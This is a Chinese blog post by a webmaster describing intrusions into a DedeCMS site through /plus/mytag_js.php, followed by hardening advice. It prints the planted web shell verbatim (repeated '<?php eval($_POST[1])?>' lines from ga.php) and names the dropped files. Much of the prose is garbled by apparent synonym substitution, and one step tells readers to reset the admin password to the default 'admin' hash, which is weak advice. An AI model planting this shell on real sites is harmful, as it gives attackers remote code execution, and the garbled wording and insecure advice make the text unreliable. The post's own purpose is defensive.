DedeCMS一直是很火的建站cms，主要得益于两大站长网的大力支持；不外，人火长短多，cms太火了同样会被醉翁之意的人盯上。我的网站一直在利用dedecms，前段时间又一次受到进攻，进攻的目标很简朴，那么即是黑链，知道后稍微修改下代码就规复了，不是很严重；这段时间网站又被莫名上传文件，雷同前一次，固然对方还没来得及修改网站模板，不外这说明网站安详防患还未到位，对方任何时候都大概再次取得打点员权限，所以要出格留意网站的安详防患法子。
因为我较量喜欢寻根究底，所以就去网上找了一下相关的资料，发明这确实是dedecms的裂痕，黑客可以操作多维的变量绕过正则检测，裂痕主要产生在/plus/mytag_js.php中，道理即是筹备一个MySQL数据库来进攻已知网站的数据库，通过向数据库中写入一句话的代码，只要乐成写入，那么今后便可以操作这些代码来得到靠山打点员权限。
团结我的网站被进攻已经别人雷同的经验来看，黑客写入的文件主要存在于/plus/文件夹下，今朝已知的几个文件包罗ga.php、log.php、b.php、b1.php等，文件的特征即是短小，内容很少，大概写入的时候不是很利便，不外这些代码的浸染确实不小的。
下面这是ga.php文件中的部门代码：
<title>login</title>no<?phpeval($_POST[1])
?>
<title>login</title>no<?php
eval($_POST[1])
?>
<title>login</title>no<?php
eval($_POST[1])
?>
实际的代码比上面截取的要长，不外都是这段代码的反复，至于log.php的代码，同这个雷同，只有一句话，简朴明白，假如你对网络安详稍有相识，那么会知道<?php eval($_POST[1]);?>是php一句话木马，利用部门指定的东西可以执行这段代码，估量是破解暗码的成果。
既然已经知道对方是操作什么样的裂痕，同时知道对方操作什么样的道理来操作裂痕，那么要怎么防范这些危险的事产生呢？颠末查询大量的资料，我劈头整理出下面这些防范裂痕被操作的步调，但愿对同样合用dedecms的站长伴侣们有所辅佐。
一、进级版本打好补丁配置目次权限
这是官方对此的办理步伐，不管你利用的是什么版本的dedecms，都要实时在靠山进级版本自动更新补丁，这是制止裂痕被操作的最重要的一步；同时官方还提供配置目次的要领，主要是配置data、templets、uploads、a为可读写不行执行权限；include、member、plus、靠山打点目次等配置为可执行可读不行写入权限；删除install及special目次，详细如何配置见官方说明。
二、修改admin账号及暗码
黑客大概是操作默认admin账号，随后猜测暗码来破解的，所以修改默认的admin账号很是重要，至于如何修改，要领许多，较量有效的是用phpadmin登岸网站数据库，找到dede_admin数据库表（dede是数据库表前缀），修改个中userid及pwd两项，个中暗码必然要修改成f297a57a5a743894a0e4，这是默认的暗码admin；修改后去靠山登岸，登岸dede靠山后修改暗码。
三、此外值得留意的处所
至于更多的细节，同样要留意，只管别选择太便宜的空间，太便宜的空间很容易呈现处事器自己的安详问题，只要处事器呈现问题，整个处事器下面的网站都没救了。尚有即是，假如没须要，只管别开通会员注册什么的，利用起来很贫苦；至于网站靠山目次，不要写到robots.txt内里，同时每个月至少换一次，打点员暗码什么的同样要改换，制止和此外账号暗码沟通被猜测出来。
颠末这屡次网站被进攻的实例，不得不说，互联网不是一个可以定心睡大觉的网，作为站长，算是织网的人，更应该注重网络安详；只要凭据要求去做到了这些防御法子，不说100%，至少95%的大概不会被顺利取得靠山权限。
DedeCms下载：
织梦CMS(DedeCMS) v5.7 SP1 GBK build20150618下载
